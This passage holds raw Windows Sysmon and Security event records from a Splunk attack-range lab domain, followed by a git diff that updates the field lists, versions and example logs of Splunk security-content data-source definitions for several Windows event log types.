AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013485Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:41.965{f73635a5-3fe9-6423-631c-000000004902}5864C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013484Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:41.219{f73635a5-3fe9-6423-621c-000000004902}7124C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013483Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:38.127{f73635a5-3fe6-6423-611c-000000004902}6928C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}3132--- + 22542200x800000000000000013482Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:36.874{f73635a5-3ef4-6423-4a1c-000000004902}6884ar-win-dc.attackrange.local0fe80::ccd8:364c:b6d:dab2;::ffff:10.0.1.14;C:\Windows\System32\dllhost.exeATTACKRANGE\Administrator + 22542200x800000000000000013481Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:36.873{f73635a5-3ef4-6423-4a1c-000000004902}6884_ldap._tcp.ar-win-dc.attackrange.local.9003-C:\Windows\System32\dllhost.exeATTACKRANGE\Administrator + 22542200x800000000000000013480Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:36.872{f73635a5-3ef4-6423-4a1c-000000004902}6884_ldap._tcp.Default-First-Site-Name._sites.ar-win-dc.attackrange.local.9003-C:\Windows\System32\dllhost.exeATTACKRANGE\Administrator + 5136001408100x8020000000000000170163Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainergPCMachineExtensionNames2.5.5.12[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]%%14674 + 5136001408100x8020000000000000170162Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainergPCMachineExtensionNames2.5.5.12[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]%%14675 + 5136001408100x8020000000000000170161Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainerversionNumber2.5.5.94%%14674 + 5136001408100x8020000000000000170160Securityar-win-dc.attackrange.local{261a0e62-d22a-4832-a302-14e6e9877864}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=ATTACKRANGE,DC=LOCAL{2372d0aa-b81e-4b91-9357-e73b9ba51a4f}groupPolicyContainerversionNumber2.5.5.93%%14675 + 154100x800000000000000011356Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:28:20.851{F02F376E-3FD4-6423-4C1B-00000000D602}704C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362016Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x2c0C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 4688201331200x8020000000000000362015Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xec8C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011355Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:28:20.247{F02F376E-3FD4-6423-4B1B-00000000D602}3784C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362014Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa1cC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011354Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:28:19.591{F02F376E-3FD3-6423-4A1B-00000000D602}2588C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}1952--- + 03/28/2023 19:28:19.967 + dcName=ar-win-dc.attackrange.local + admonEventType=Update + Names: + objectCategory=CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=attackrange,DC=local + name={31B2F340-016D-11D2-945F-00C04FB984F9} + displayName=Default Domain Policy + distinguishedName=CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=attackrange,DC=local + cn={31B2F340-016D-11D2-945F-00C04FB984F9} + Object Details: + objectGUID=2372d0aa-b81e-4b91-9357-e73b9ba51a4f + whenChanged=07:28.19 PM, Tue 03/28/2023 + whenCreated=02:18.06 AM, Sun 03/26/2023 + objectClass=top|container|groupPolicyContainer + Event Details: + uSNChanged=90444 + uSNCreated=5672 + instanceType=4 + Additional Details: + dSCorePropagationData=20230327205811.0Z|20230326024245.0Z|20230326024244.0Z|20230326024244.0Z|16010101000000.0Z + gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A diff --git a/data_sources/windows_event_log_application_15457.yml b/data_sources/windows_event_log_application_15457.yml index 5198777c72..ac3e79ad69 100644 --- a/data_sources/windows_event_log_application_15457.yml +++ b/data_sources/windows_event_log_application_15457.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 15457 id: 4491537e-520c-46f7-9209-f56f852aa237 -version: 2 +version: 3 creation_date: '2025-02-25' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: Data source object for Windows Event Log Application 15457 source: XmlWinEventLog:Application @@ -13,71 +13,35 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: - - CategoryString + - _time + - ActivityID - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventSourceName + - eventtype - Guid - - Image_File_Name + - host + - id + - index - Keywords - Level + - linecount - Name + - name - Opcode - ProcessID + - punct - Qualifiers - RecordNumber - - RenderingInfo_Xml - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Task - - TaskCategory - - ThreadID - - UserData_Xml - - UserID - - Version - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time - - action - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id - signature @@ -85,15 +49,20 @@ fields: - source - sourcetype - splunk_server - - splunk_server_group - - status - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user_group_id + - Task + - TaskCategory + - ThreadID + - timestamp + - User - user_id + - UserData_Xml + - UserID - vendor_product -example_log: 1545704200x8000000000000015827Applicationar-win-2.attackrange.localshow advanced options10613C00000A00000009000000610072002D00770069006E002D0032000000070000006D00610073007400650072000000 + - Version +example_log: | + 1639404000x8000000000000015229Applicationar-win-2.attackrange.local diff --git a/data_sources/windows_event_log_application_2282.yml b/data_sources/windows_event_log_application_2282.yml index b5c5f36115..4ffac037c7 100644 --- a/data_sources/windows_event_log_application_2282.yml +++ b/data_sources/windows_event_log_application_2282.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 2282 id: 4490537e-5e0c-46f7-9209-f56f852aa237 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event in IIS when a module DLL fails to load due to a configuration issue, including details about the module and error message. mitre_components: @@ -21,53 +21,48 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - ModuleDll - Name - Opcode - ProcessID - ProcessorArchitecture + - punct - Qualifiers - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor_product + - Version output_fields: - dest -example_log: 228202000x800000000000001001307Applicationwin-dc-exch01.attackrange.localc:\temp\msf.dllAMD64C1000000 +example_log: | + 228202000x800000000000001001304Applicationwin-dc-exch01.attackrange.localc:\temp\msf.dllAMD64C1000000 diff --git a/data_sources/windows_event_log_application_3000.yml b/data_sources/windows_event_log_application_3000.yml index 6e376dc028..f370e2f3bd 100644 --- a/data_sources/windows_event_log_application_3000.yml +++ b/data_sources/windows_event_log_application_3000.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 3000 id: 3911945d-9222-408d-b851-9b1bce4c2d24 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the termination of a process, including details about the process, its termination code, and timestamp. mitre_components: @@ -22,47 +22,51 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - Qualifiers - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - param1 - param2 - param3 + - ProcessID - punct + - Qualifiers + - RecordNumber + - severity + - severity_id - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - TaskCategory + - ThreadID - timestamp - user_id + - UserID - vendor_product + - Version output_fields: - dest -example_log: 300004000x8000000000000021334Applicationwin-host-mhaag-attack-range-117C:\Windows\System32\klist.exe001d8c3afcf370d13 +example_log: | + 300004000x8000000000000021334Applicationwin-host-mhaag-attack-range-117C:\Windows\System32\klist.exe001d8c3afcf370d13 diff --git a/data_sources/windows_event_log_application_8128.yml b/data_sources/windows_event_log_application_8128.yml index 0135033e88..9535f0b0af 100644 --- a/data_sources/windows_event_log_application_8128.yml +++ b/data_sources/windows_event_log_application_8128.yml @@ -1,8 +1,8 @@ name: Windows Event Log Application 8128 id: 4491537e-5e0c-46f7-9209-f56f852aa237 -version: 2 +version: 3 creation_date: '2025-02-25' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: Data source object for Windows Event Log Application 8128 source: XmlWinEventLog:Application @@ -13,62 +13,35 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: - - CategoryString + - _time + - ActivityID - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventID - EventRecordID - EventSourceName + - eventtype - Guid - - Image_File_Name + - host + - id + - index - Keywords - Level + - linecount - Name + - name - Opcode - ProcessID + - punct - Qualifiers - RecordNumber - - RenderingInfo_Xml - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Task - - TaskCategory - - ThreadID - - UserID - - Version - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _time - - action - - category - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id - signature @@ -76,13 +49,20 @@ fields: - source - sourcetype - splunk_server - - splunk_server_group - - status - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype - - user_group_id + - Task + - TaskCategory + - ThreadID + - timestamp + - User - user_id + - UserData_Xml + - UserID - vendor_product -example_log: 812804200x8000000000000016635Applicationar-win-2.attackrange.localodsole70.dll2022.160.1000sp_OACreateC01F00000A00000009000000610072002D00770069006E002D0032000000050000006D007300640062000000 + - Version +example_log: | + 1639404000x8000000000000015229Applicationar-win-2.attackrange.local diff --git a/data_sources/windows_event_log_appxdeployment_server_400.yml b/data_sources/windows_event_log_appxdeployment_server_400.yml index d198bf8189..0361fbdf1a 100644 --- a/data_sources/windows_event_log_appxdeployment_server_400.yml +++ b/data_sources/windows_event_log_appxdeployment_server_400.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXDeployment-Server 400 id: 3e5f9d2a-b8c7-4d1e-a6f3-7b9c8d5e4f2a -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXDeploymentServer/Operational channel, specifically focusing on EventCode 400. These events are generated when a package deployment operation begins, providing details about the package being deployed. @@ -21,36 +21,117 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name + - namespace + - numAttempts - Opcode - PackageDisplayName + - PackageFlags + - PackageFlags2 - PackageFullName + - packageFullName + - PackageList + - PackageMoniker + - PackageName - PackageSourceUri + - PackageType - Path - - CallingProcess - ProcessID + - punct - RecordNumber - - SourceName - - SystemTime + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task - TaskCategory - ThreadID - - Version - - _time - - dest - - host + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version output_fields: - _time - dest @@ -63,4 +144,5 @@ references: - https://learn.microsoft.com/en-us/windows/msix/desktop/desktop-to-uwp-behind-the-scenes - https://learn.microsoft.com/en-us/windows/msix/package/package-identity - https://redcanary.com/blog/threat-intelligence/msix-installers/ -example_log: 40004320x400000000000000116489Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIX6Microsoft.DesktopAppInstaller_2025.717.1857.0_neutral_~_8wekyb3d8bbwe (AppxBundleManifest.xml) C:0x0true\\?\Volume{de26f417-916d-40a6-aaa9-9675b36f2d21}false0x8false0x40040040falsefalsefalseNULLsihost.exefalse0x4000x800falsefalsex-windowsupdate://05C4B27B-6E00-4A05-9B94-15C77E54E690/F855810C-9F77-45FF-A0F5-CD0FEAA945C6/508bfda4dcfb262c40e6f5d8e8811b3f47ee98a2 +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_appxdeployment_server_854.yml b/data_sources/windows_event_log_appxdeployment_server_854.yml index c6f21e79e3..df8dd3bf2b 100644 --- a/data_sources/windows_event_log_appxdeployment_server_854.yml +++ b/data_sources/windows_event_log_appxdeployment_server_854.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXDeployment-Server 854 id: 4d2e6f8a-c9b7-5a3e-8d1f-2e9c7b5a4f3d -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXDeploymentServer/Operational channel, specifically focusing on EventCode 854. These events are generated when an MSIX/AppX package has been successfully installed on a system. @@ -21,30 +21,117 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid + - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList + - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name + - namespace + - numAttempts - Opcode + - PackageDisplayName + - PackageFlags + - PackageFlags2 + - PackageFullName + - packageFullName + - PackageList + - PackageMoniker + - PackageName + - PackageSourceUri + - PackageType - Path - ProcessID + - punct - RecordNumber - - SourceName - - SystemTime + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task - TaskCategory - ThreadID - - Version - - _time - - dest - - host + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version output_fields: - _time - dest @@ -56,4 +143,5 @@ references: - https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting - https://www.appdeploynews.com/packaging-types/msix/troubleshooting-an-msix-package/ - https://www.advancedinstaller.com/msix-installation-or-launching-errors-and-fixes.html -example_log: 85404000x4000000000000000123456Microsoft-Windows-AppXDeploymentServer/OperationalDESKTOP-EXAMPLEC:\Users\User\Downloads\App.msix +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_appxdeployment_server_855.yml b/data_sources/windows_event_log_appxdeployment_server_855.yml index 5cca95235e..16660d04fc 100644 --- a/data_sources/windows_event_log_appxdeployment_server_855.yml +++ b/data_sources/windows_event_log_appxdeployment_server_855.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXDeployment-Server 855 id: 4491537c-521c-46f7-9209-f56f852aa231 -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXDeploymentServer/Operational channel, specifically focusing on EventCode 855. These events are generated when a package deployment operation completes successfully, providing details about the packages that were installed or updated. @@ -21,29 +21,117 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer - - Correlation + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid + - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList + - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name + - namespace + - numAttempts - Opcode + - PackageDisplayName + - PackageFlags + - PackageFlags2 + - PackageFullName + - packageFullName + - PackageList - PackageMoniker + - PackageName + - PackageSourceUri + - PackageType + - Path - ProcessID - - Provider - - ProviderGuid + - punct + - RecordNumber + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError + - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task + - TaskCategory - ThreadID - - TimeCreated - - Version - - _time - - dest - - host + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version output_fields: - _time - dest @@ -54,4 +142,5 @@ references: - https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting - https://www.advancedinstaller.com/msix-installation-or-launching-errors-and-fixes.html - https://redcanary.com/blog/msix-installers/ -example_log: '85504400x400000000000000116417Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIX addPackageList: Microsoft.DesktopAppInstaller_1.26.430.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.717.1857.0_neutral_~_8wekyb3d8bbwe updateList: Microsoft.DesktopAppInstaller_1.26.429.0_x64__8wekyb3d8bbwe is updating to Microsoft.DesktopAppInstaller_1.26.430.0_x64__8wekyb3d8bbwe' +example_log: | + 8100054900x400000000000000115605Microsoft-Windows-AppXDeploymentServer/OperationalHaagMSIXMicrosoft.WidgetsPlatformRuntime_1.6.9.0_x64__8wekyb3d8bbwe0x103 diff --git a/data_sources/windows_event_log_appxpackaging_171.yml b/data_sources/windows_event_log_appxpackaging_171.yml index 8b42fea335..70d9f4624a 100644 --- a/data_sources/windows_event_log_appxpackaging_171.yml +++ b/data_sources/windows_event_log_appxpackaging_171.yml @@ -1,8 +1,8 @@ name: Windows Event Log AppXPackaging 171 id: 2d0f8e3c-a2d7-4b9e-8f1c-6a5d7e3e9f2b -version: 2 +version: 3 creation_date: '2025-08-18' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Michael Haag, Splunk description: 'This data source captures Windows Event Logs from the Microsoft-Windows-AppXPackaging/Operational channel, specifically focusing on EventCode 171. These events are generated when a user clicks on or attempts to interact with an MSIX package, even if the package is not fully installed. @@ -21,32 +21,120 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid + - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList + - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name + - namespace + - numAttempts - Opcode + - 